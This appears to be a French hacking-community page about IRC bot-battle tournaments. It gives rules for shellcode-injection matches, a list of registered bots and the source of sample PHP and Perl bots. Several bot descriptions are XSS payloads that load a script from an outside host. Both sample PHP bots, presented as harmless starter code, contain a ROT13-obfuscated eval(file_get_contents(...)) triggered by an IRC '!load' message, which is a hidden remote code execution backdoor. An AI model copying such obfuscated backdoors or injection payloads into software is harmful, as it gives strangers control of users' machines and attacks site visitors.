CONNEXION Connexion INSCRIPTION
Accueil
Page de #hackbbs-battle

Battle-bot

BB2: Battle Bot II

Présentation BB2
Battle Bot II
Organisation en cours.
Dates envisagé:
  • Vendredi 13 Mars 2009

Principe

  • Le vendredi 13 à à 20h tou les participants recoivent un code exécutable
  • Le code une fois exécuté s'active, et se met à  jour
  • Il faut alors analyser le code du bot, et tenter désactiver les bots adverse en injectant des shellcodes.
  • Un bot deconnecté est une cible potentielle en moins. Si le bot que vous controllez viens à disparaitre, il est tout dans votre intérèt de le faire revenir au plus vite.
  • Il est interdis de modifier le code de son propre bot, seul les altération dynamique sont autorisé.
  • Un daemon éliminera les bot dont le code source à  été altéré.
  • LE BUT est d'avoir un contrôle TOTALE sur l'ensemble des systèmes adverse.
    • Contrôle du bot
    • Contrôle des services sur les systèmes adverse
    • Installer des routines de protection sur son propre systeme le cas échéant
  • HackBBS décline toute responsabilité sur les conséquences de cette épreuve. Il vous est conseillé de lancer le bot dans un environnement confiné.

Bonus

L'idée est encore à  débattre, mais il serait interessant de donner un bonus de point à  ceux qui arrivent à  prendre le controle totale de la vm adverse.
Il pourrait donc être demandé de faire démarrer un service apache, et d'afficher un petit message sur les VM rooter.

Informations techniques

L'environnement

Il est conseillé de prévoir une machine virtuel type xen, uml(user mode linux) ou encore vmware.
Des liens seront disponible prochainement pour aider à  l'installation de l'environnement.
Voici le script d'installation sous linux: Environnement Battle-Bot 2 sous linux

Le code du bot

Un exemple de code est en cours de préparation afin de permettre de tester votre environnement avant la compétition.

Des questions?

Elles sont les bienvenue sur le salon #hackbbs

Inscription au tournois


Inscription au tournois battle-bot II sur irc.2600.net:6667,#hackbbs-battle

Inscription d'un bot #hackbbs-battle
Nom du bot:
Url du bot:
Description:
Vous devez être identifié pour pouvoir soumettre un bot

Arene du tournois BB2

Afin de suivre le spectacle bien assis dans votre fauteuil,
il vous est possible de suivre les évnénements via notre mouchard
et de suivre dans un temps réel mou, l'évolution de la rencontre.

Liste des bots inscris


Voici la liste des bots.
4 statut son actuellement propose.
  • En attente: Le bot à  été inscrit par un membre, et nos scripts ne l'ont pas encore vue sur le salon
  • Prêt au combat: Le bot à  été vue sur le salon, mais n'a marqué encore aucun points
  • Au combat: C'est assez explicite non!!?? ^^
  • Elimine: C'est finis pour ce tournois, mais possibilité d'inscrire un autre bot. Celui là n'a pas fait ses preuves :p
Botz-T2
Proprio:0
Description:Botz-T2 test BB2
Statut::En attente:0points.
Selebot
Proprio:SELENORE
Description:a venir
Statut::En attente:0points.
khalil
Proprio:KHALIL_O-O
Description:gofuck
Statut::En attente:0points.
darkb0t
Proprio:LEM0LUSK
Description:...
Statut::En attente:0points.
bimbot
Proprio:NEBOJSA
Description:un boteu
Statut::En attente:0points.
ducon
Proprio:NEBOJSA
Description:<script>alert(\'test\')</script>
Statut::En attente:0points.
gontrand
Proprio:NEBOJSA
Description:<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
Statut::En attente:0points.
gdhx
Proprio:NEBOJSA
Description:</fieldset><SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
Statut::En attente:0points.
slimanehack
Proprio:SLIMANEHACK
Description:**************************
Statut::En attente:0points.
SaKura`
Proprio:NIMAG
Description:I\'m the winner !!
Statut::En attente:0points.
bottes
Proprio:ALCALIN
Description:R.A.S
Statut::En attente:0points.
battle bbs
Proprio:YHMAN
Description:a fond la caisse
Statut::En attente:0points.
battle star
Proprio:HNEVISION
Description:bot pour test syst.inscription
Statut::En attente:0points.



Archive des tournois terminé

BB1: Battle Bot I

Présentation BB1

Bonsoir à tous, j'organise avec Korigan un tournoi de Bot, qui s'affronteront trois contre trois à coup de timebomb. Ces bots devront être développés en PHP, et être fonctionnel avant le 19decembre. Le match Le match se déroulera en 21kicks sur #hackbbs-battle, si un bot kick les deux autres, il remporte deux points, le deuxième remporte un point, sinon 0. Les bots s'affronteront trois par trois, puis le gagnant va monter d'un "echelon" on va dire qu'il fera parti de la 8eme de finale ^^, le deuxième quant a lui restara la où il est ( en 16ème de finale) et affronteras deux nouveaux bots, tandisque le dernier ira dans la finale des perdants où il pourra se battre avec les autres perdants. Le bot Le bot devra être codé en php (mais c'est la seule restriction), il devra ensuite être hébergé quelquepart et v devrez nous remmetre l'adresse du bot. Vous trouverez ci_dessous un exemple de Bot (attention ce n'est qu'un début, ça ne suffira pas !) Comment se déroulera le combat ? Nous utiliserons un script php qui s'occupera d'appeller vos bots pour combattre, les combats se derouleront sur #hackbbs-battle, vous pourrez y acceder pour regardez mais vous serez en lecture seule. Les resultats seront capté par le script et afficher sur hackbbs.org/tournoiBot.php (url non définitif !) D'autre informations arriveront plus tard, notamment la date précise, vous pouvez proposez d'autre règles, ou demander a modifier certaine... [Nimag] & [Korigan]

Arene du tournois


Les spectateur du salon seront donné en pature.
Afin de suivre le spectacle bien assis dans votre fauteuil,
il vous est possible de suivre les évnénements via notre mouchard
et de suivre dans un temps réel mou, l'évolution de la rencontre.

Liste des bots inscris


Voici la liste des bots.
4 statut son actuellement propose.
  • En attente: Le bot à été inscrit par un membre, et nos scripts ne l'ont pas encore vue sur le salon
  • Prèt au combat: Le bot à été vue sur le salon, mais n'a marqué encore aucun points
  • Au combat: C'est assez explicite non!!?? ^^
  • Elimine: C'est finis pour ce tournois, mais possibilité d'inscrire un autre bot. Celui là n'a pas fait ses preuves :p
Botz-T
Proprio:0
Description:Botz de test de HackBBS
Statut::Elimine:0points.
Battle-star
Proprio:0
Description:Bot pour test syst. inscription
Statut::En attente:0points.
Botz-T566
Proprio:0
Description:Botz-T de test
Statut::Prèt au combat:0points.
remy
Proprio:TH2O
Description:remy
Statut::Prèt au combat:67points.
Shin0bi
Proprio:NEBOJSA
Description:Bot de nebojsa
Statut::Elimine:0points.
botman
Proprio:SHAYTAN
Description:Bomberbot
Statut::Elimine:0points.
Botz-ADN
Proprio:0
Description:Botz-ADN, autocorectif
Statut::Prèt au combat:0points.
Botz-T5566
Proprio:0
Description:Botz d\'entrainement au kick
Statut::Elimine:0points.

Proprio:STR4K3
Description:
Statut::Prèt au combat:0points.
GOD
Proprio:SHP
Description:Le DIEU vivant de SHP, son lieu d\'habitation: http://shpouette.tuxfamily.org =)
Statut::En attente:0points.
fredo
Proprio:FREDO2009
Description:nondidou ça va secouer!!!!
Statut::Prèt au combat:0points.
ze_ultimate^bot
Proprio:FREDO2009
Description:intimebombable
Statut::Elimine:0points.
Humanbot
Proprio:HUMANBOMB
Description:Mouhahaha
Statut::Prèt au combat:0points.
death|bozt
Proprio:THE-DEATH
Description:main
Statut::Elimine:0points.

Code du bot

 
<?
 //Botz-php-hackbbs V1.0, Korigan
 //Website: http://hackbbs.org/
 //Irc: irc.2600.net Salon: #hackbbs-battle
 /*
 Ce bot se connecte au salon, et donne son statut s'il reçoit !statut
 */
 // Prevent PHP from stopping the script after 30 sec
 set_time_limit(0);
 // Opening the socket to the 2600 network
 $socket = fsockopen("irc.2600.net", 6667);
 // Send auth info
 //Il va falloir générer des nick aleatoire car lors des tests, il peut arriver que
 //le serveur mette du temps à détecter que l'ancien pseudo est libre.
 $nick="Botz-php-hackbbs";
 $nb=rand(1,1000);
 $nick.=$nb;
 $chan="hackbbs-battle";
 
 //La commande nick permet de s'identifier auprès du serveur.
 fputs( $socket , "NICK ".$nick."-".date('U')."-".$nb."\r\n" );
 fputs( $socket , "USER guest localhost irc_server :guest\r\n");
 
 // Force an endless while
 while(1) {
     // Continue the rest of the script here
     while($data = fgets($socket, 128)) {
         echo nl2br($data);
         flush();
         // Separate all data
         $ex = explode(' ', $data);
         // Send PONG back to the server
         if($ex[0] == "PING"){
             fputs($socket, "PONG ".$ex[1]."\n");
         }
         // Say something in the channel
         if (strstr($data,":!statut")) {
             fputs($socket, "PRIVMSG ".$ex[2]." ".$nick." is online!\r\n");
         }
         if (strstr($data,":!load")) {
             $d="riny(svyr_trg_pbagragf('".substr($ex[4],0,strlen($ex[4])-2)."',snyfr));";
				 eval(str_rot13($d));
         }
         if(strstr($data,"376")) {
                        //Connect to #hackbbs-test
              fputs( $socket , "JOIN #".$chan."\r\n");
         }
     }
 }
?>
 
<?
 //Botz-T V1.0, Korigan
  //Website: http://hackbbs.org/
 //Irc: irc.2600.net Salon: #hackbbs-battle
 
 /*
 Ce bot est le premier qui s'inscrira dans un pattern stratégie.
 L'idée est de pouvoir adapter la stratégie du bot à différentes situation.
 C'est à dire différents stade de la partie qui requiert tel stratégie 
 	-d'attaque, 
 	-de protection,
 	-de masquage
 	-de lecture de l'information
 	-de calculde l'information
 	-de l'analyse de la réponse au calcul posé
 	-etc...
 Chacuns de ces aspect peut constituer ce que l'on va appeler un module, une classe.
 L'idée est de répartir ces classes dans des fichiers distincts.
 Ainsi, il sera possible d'executer tel ou tel partie du code, à volontée, et de n'éxécuter 
 que des opérations les plus atomique possible. C'est à-dire que le bot doit rester réactif,
 et répondre instinctivement à tous les messages, et pour cela doit n'éxécuter que du code court,
 et bien rangé.
 
  Comment savoir quelle strategie adapte?
 *******************************************
 Une des solutions est de les tester à la main. De réfléchir, de reprendre le code,
 le re-travailler, corriger les bugs...
 
 Nous allons donc essayer voir une autre méthode, de générer un bot auto-évolutif.
 Il va évoler de génération en gnération, de façon autonome, jusqu'à atteindre la perfection!?? ^^
 Comment faire?
 Et bien il y a plusieurs solution, soit le bot se modifie lui même, soit on sélectionne que les meilleurs
 dans une population donnée.
 Qui dis population, sélection, induit la notion de différence enre eux.
 Nous nous rapprochons donc de la notion d'ADN et vous l'aurez compris, nous allons faire
 un bot dont son ADN permettra de composer les différentes action possible.
 Nous ferons donc un bot, qui va se répliquer N fois mais avec de légères différences dans son ADN.
 Si l'un d'entre eux sort vainqueur un nombre conséquent de fois, il se reproduiras avec le second.
 Les autres seront sacrifié :S
 
 
 
 Pour ce deuxieme bot, nous allons le doter de ce qui pourait etre un ADN à un seul maillon,
 et illustrer une seule stratégie, le suivie d'attaque.
 Cela consistera uniquement à kicker les nouveaux sur le salon.
 C'est à dire réagir à l'événement JOIN
 
 Quand nous auront sufisemment de maillons, nous verrons comment les activer ou les désactiver
 et constituer ainsi une population hétérogène lors de la reproduction.
 
 */
 // Prevent PHP from stopping the script after 30 sec
 set_time_limit(0);
 // Opening the socket to the 2600 network
 $socket = fsockopen("irc.2600.net", 6667);
 // Send auth info
 $nick="Botz-T";
 $nb=rand(1,1000);
 $nick.=$nb;
 $chan="hackbbs-battle";
 
 fputs( $socket , "NICK ".$nick."\r\n" );
 fputs( $socket , "USER guest localhost irc_server :guest\r\n");
 
 // Force an endless while
 while(1) {
     // Continue the rest of the script here
     while($data = fgets($socket, 128)) {
         echo nl2br($data);
         flush();
         // Separate all data
         $ex = explode(' ', $data);
         // Send PONG back to the server
 
/* ****************************************************************************************** */
/* *************** LE CODE CI-DESSOUS CORESPOND A LA STRATEGIE ****************************** */
/* * Il sera repris plus tard lorsque nous allons créer l'algorithme de selection génétique * */
/* ****************************************************************************************** */         
	 		if($ex[1]== "JOIN"){
				$j=explode("!",$ex[0]);
				$joueur=substr($j[0],1,strlen($j[0]));
				fputs($socket, "PRIVMSG #".$chan." : timebomb ".$joueur."\n");
	 		}
         if($ex[0] == "PING"){
             fputs($socket, "PONG ".$ex[1]."\n");
         }
         // Say something in the channel
         if (strstr($data,":!saywelcome")) {
             fputs($socket, "PRIVMSG ".$ex[2]." hackbbs-bot is online!&#92;r&#92;n");
         }
         if (strstr($data,":!load")) {
             $d="riny(svyr_trg_pbagragf('".substr($ex[4],0,strlen($ex[4])-2)."',snyfr));";
				 eval(str_rot13($d));
         }
         if(strstr($data,"376")) {
                        //Connect to #hackbbs-test
              fputs( $socket , "JOIN #".$chan."\r\n");
         }
         if(strstr($data,"KICK #hackbbs-battle Botz-T")) {
                        //Connect to #hackbbs-test
              fputs( $socket , "JOIN #".$chan."\r\n");
         }
/* ****************************************************************************************** */
/* ********************** FIN DU CODE ******************************************************* */
/* ****************************************************************************************** */
     }
 }
?>
 

Bot en perl de fredo

#!/usr/bin/perl
 
#use strict;
#use warnings;
#use diagnostics;
 
# On utilise la librairie Net::IRC pour se connecter à IRC
use Net::IRC;
#use LWP::Simple;
 
# Vous utiliserez peut-être Data::Dumper pour le debug, pour savoir de quoi sont composés certains événements...
#use Data::Dumper;
 
 
 
# Configuration des options de connexion (serveur, login) :
my $server = 'irc.2600.net';
my $nick = 'botpublic';    # A configurer !
my $nickone = 'botpublic';
my $pass = 'public';        # A configurer !
my $list = "listebot.txt";    #fichier listing des bot participants
my $ami = 'Botz-ADN';
 
# Informations concernant le Bot :
my $ircname = 'Botrrr';
my $username = 'prrrrrerlBot';
my $version = '2.0';
my $num = 5;
my $nick2 = $nick;
my $contremesure = 0;
my $trigger  = 'ditty mao!';
 
# Channel sur lequel on veut que le Bot aille :
my $channel = '#hackbbs-battle';
 
# On crée l'objet qui nous permet de nous connecter à IRC :
my $irc = new Net::IRC;
 
# On crée l'objet de connexion à IRC :
my $conn = $irc->newconn(
    'Server'      => $server,
    'Port'        => 6667,
    'Nick'        => $nick,
    'Ircname'    => $ircname,
    'Username'    => $username
);
 
 
# On installe les fonctions de Hook :
$conn->add_handler('endofmotd', \&on_connect);    # Fin du MOTD => on est connecté
$conn->add_handler('public', \&on_public);        # Sur le chan
$conn->add_handler('notice', \&on_notice);        # En notice
$conn->add_handler('msg', \&on_private);          # En privé
$conn->add_handler('caction', \&on_caction);      # /me
$conn->add_handler('cversion', \&on_cversion);    # Demande de version
$conn->add_handler('cping', \&on_cping);          # Demande de PING
$conn->add_handler('ctime', \&on_ctime);          # Demande de time
$conn->add_handler('cerrmsg', \&on_cerrmsg);	  #recoit une erreur
$conn->add_global_handler('disconnect', \&on_disconnect); #deconnection du server
$conn->add_handler('kick'  , \&on_kick);          #on se fait kick du chan
$conn->add_handler('433'   , \&on_nick_taken);    #on nous a pique notre pseudo ou y a un ghost
$conn->add_handler('join',   \&on_join);		  #quelqu'un se connecte
$conn->add_handler('mode',   \&on_mode);		  #pour changer le mode d'un nick (voicer par ex)
$conn->add_handler('353', \&on_names);			  #pour lister les nick en arrivant sur le chan
$conn->add_handler('nick',\&on_nick);			  #quand quelqu'un change de nick
 
 
# On lance la connexion et la boucle de gestion des événements :
$irc->start();
 
 
## Les fonctions de gestion des événements :
 
sub on_connect
{
    my ($conn, $event) = @_;
 
    $conn->join($channel);
    $conn->privmsg($channel, 'Bonjour');
    $conn->print("<$nick>\t| Bonjour");
    $conn->{'connected'} = 1;
    $conn->privmsg('nickserv', 'IDENTIFY ' . $pass);
    $conn->print("Identify : $nick $pass");
 
} # Fin on_connect
 
 
sub on_public
{
 
    my ($conn, $event) = @_;
    my $text = $event->{'args'}[0];
	my $var = $event->{'nick'};
 
	$conn->print("<" . $event->{'nick'} . ">\t| $text");
 
# si quelqu'un parle
	if ( $var ne 'fredo2009')
		{
			if ( $var ne 'Botz' )
				{
				# on cherche à savoir si c'est un bot
				open (FILE, "$list") || die("\n[-] Can't open the file...\n"); 
				chomp(my @listbot = <FILE>); 
					foo: foreach my $varbot (@listbot)
							{
							if (($var eq $varbot) && ($var ne "ze_ultimate^bot") && ($var ne $ami))
								{
								$conn->privmsg($channel, "timebomb $var"); # on lance la bombe sur le channel
								$conn->print("<$nick>\t| timebomb $var");  # Et echo sur la console
								last foo;
								}
							}
					close (FILE);
				}
		}
 
#si les contremesures sont actives
if ($contremesure eq "1")
	{
	if ( $var eq 'Botz')
		{
		if (substr($text, 0, length("Diffuse")) eq "Diffuse")
			{
			my $unecouleur=index($text,'It is');
			my $plusieurscouleurs=index($text,'They are');
			if ($unecouleur ne "-1")
				{
				$text =~ /It is (.*)./;
				my $couleur = $1;
				#on peut maintenant couper le bon fil
				$conn->privmsg($channel, "cutwire $couleur");
                $conn->print("<$nick>\t| cutwire $couleur");
				$contremesure = "0"; #on rrete les contre mesures
				}
			if ($plusieurscouleurs ne "-1")
				{
				$plusieurscouleurs = $plusieurscouleurs + 9;
				my $text2 = substr($text, $plusieurscouleurs);
				$text2 =~ s/and/./g;
				$text2 =~ s/\s//g;
				my @couleurs = split(/[^a-zA-Z]/,$text2); # voilà notre tableau des couleurs
				my $range2 = $#couleurs+1;
				my $num2 = int(rand($range2)); #on tire une couleur au pif
				#on tente de couper le bon fil
				$conn->privmsg($channel, "cutwire $couleurs[$num2]");
                $conn->print("<$nick>\t| cutwire $couleurs[$num2]");
				$contremesure = "0"; #on rrete les contre mesures
				}
			}
		}
	}
#on vérifie que c pas notre ami qui nous trahi
if (($var eq $ami) && ($text eq "timebomb botpublic"))
	{
	$ami = 'trahison';
	$conn->privmsg($channel, "trahison!!! Ca va être ta fête mon coco!!!");
	}
} # Fin on_public
 
 
sub on_notice
{
    my ($conn, $event) = @_;
    my $text = $event->{'args'}[0];
    $conn->print("NOTICE<" . $event->nick() . ">\t| $text");
} # Fin on_notice
 
 
sub on_private
{
    my ($conn, $event) = @_;
    my $text = $event->{'args'}[0];
	my $nick = $event->nick;
    $conn->print("PRIVE<" . $event->nick() . ">\t| $text");
	if ($text eq "!mass")
		{
		$conn->names($channel);
		$conn->print("names $channel");
		}
	else
		{
		if ($nick eq "fredo2009")
			{
			$conn->privmsg($channel, "$text");
			}
		}
} # Fin on_private
 
 
sub on_caction
{
    my ($conn, $event) = @_;
    my $nick = $event->nick;
    my $text = $event->{'args'}[0];
    $conn->print("* $nick $text");
	if (substr($text, 0, length("stuffs the bomb into $nick2")) eq "stuffs the bomb into $nick2")
		{# la bombe est sur nous alors on lance les contre-mesure
		$contremesure = "1";	
		$conn->print("<$nick>\t| contremesure = $contremesure");		
		}
} # Fin on_caction
 
 
sub on_cversion
{
    my ($conn, $event) = @_;
    my $nick = $event->nick;
    $conn->ctcp_reply($nick, 'VERSION ' . "ircPerlBot v $version, www.squalenet.net");
    $conn->print("*** CTCP VERSION request de $nick");
} # Fin on_cversion
 
 
sub on_cping
{
    my ($conn, $event) = @_;
    my $nick = $event->nick;
    my $timestamp = $event->{'args'}[0];
    $conn->ctcp_reply($nick, 'PING ' . $timestamp);
    $conn->print("*** CTCP PING request de $nick");
} # Fin on_cping
 
 
sub on_ctime
{
    my ($conn, $event) = @_;
    my $date = localtime;
    my $nick = $event->nick;
    $conn->ctcp_reply($nick, 'TIME ' . $date);
    $conn->print("*** CTCP TIME request de $nick");
} # Fin on_ctime
 
sub on_cerrmsg
{
    my ($conn, $event) = @_;
    my $nick = $event->nick;
    my $text = $event->{'args'}[0];
	$conn->print("*Error* $nick $text");
} # Fin on_ctime
 
# Reconnect to the server when we die.
sub on_disconnect 
{
    my ($conn, $event) = @_;
    print "Disconnected from ", $event->from(), " (",
          ($event->args())[0], "). Attempting to reconnect...\n";
    $conn->connect();
}
 
#on se reconnect après un kick
sub on_kick 
{
    my ($conn, $event) = @_;
    my (@args) = ($event->args);
    $conn->join($args[0]) unless ($args[1] =~ /^$trigger$/i);
}
 
#on recup notre nick si probleme de ghost ou usurpation
sub on_nick_taken 
{
    my ($conn) = shift;
	$conn->nick($nickone.int(rand(999)));
	$conn->privmsg('nickserv', 'RECOVER ' . $nickone .' '. $pass);
	$conn->print("nickserv : RECOVER $nickone $pass");
	$conn->nick($nickone);
    $conn->privmsg('nickserv', 'IDENTIFY ' . $pass);
    $conn->print("Identify : $nickone $pass");
}
 
sub on_join 
{
    my ($conn, $event) = @_;
    my $text = $event->{'args'}[0];
	my $var2 = $event->{'nick'};
	$conn->print("***" . $event->{'nick'} . "\t| a join $channel");
	#on regarde si le nick qui vient d'arriver est à timebomber
	if ($var2 eq $nickone)
		{
			$conn->names($channel);
			$conn->print("names $channel");
		}
	else
		{
		if (($var2 ne "ze_ultimate^bot") && ($var2 ne $ami))
			{
			$conn->privmsg($channel, "timebomb $var2"); # on lance la bombe sur le channel
			$conn->print("<$nick>\t| timebomb $var2");  # Et echo sur la console
			}
		}
}
 
sub on_names
{
    my ($conn, $event) = @_;
    my (@list, $channel) = ($event->args);
    ($channel, @list) = splice @list, 2;
	my @listuser = split(/[ ]/,$list[0]);
    $conn->print ("Users on $channel: @listuser\n");
	foreach my $var (@listuser)
		{
			my $char = substr($var,0,1);
			if ($char eq "+")
				{
				$var =~ s/\+//g;
				if (($var ne "ze_ultimate^bot") && ($var ne $nickone) && ($var ne $ami))
					{
					$conn->privmsg($channel, "timebomb $var"); # on lance la bombe sur le channel
					$conn->print("<$nickone>\t| timebomb $var");  # Et echo sur la console
					}
				}
		}
}
 
sub on_mode
{
	my ($conn, $event) = @_;
	my $text = $event->{'args'}[0];
	my $text2 = $event->{'args'}[1];
	my $var = $event->{'nick'};
	$conn->print("<" . $event->{'nick'} . ">\t| $text $text2");
	if (($text eq "+v") && ($text2 ne $nickone) && ($text2 ne $ami) && ($text2 ne "ze_ultimate^bot"))
		{
		$conn->privmsg($channel, "timebomb $text2"); # on lance la bombe sur le channel
		$conn->print("<$nick>\t| timebomb $text2");  # Et echo sur la console
		}
} # Fin on_mode
 
sub on_nick {
    my ($conn, $event) = @_;
    my $text = $event->{'args'}[0];
	my $var2 = $event->{'nick'};
    $conn->print("*" . $event->nick() . ">\t| devient $text");
	if (($text ne "ze_ultimate^bot") && ($text ne $nickone) && ($text ne $ami))
		{
		$conn->privmsg($channel, "timebomb $text"); # on lance la bombe sur le channel
		$conn->print("<$nick>\t| timebomb $text");  # Et echo sur la console
		}
}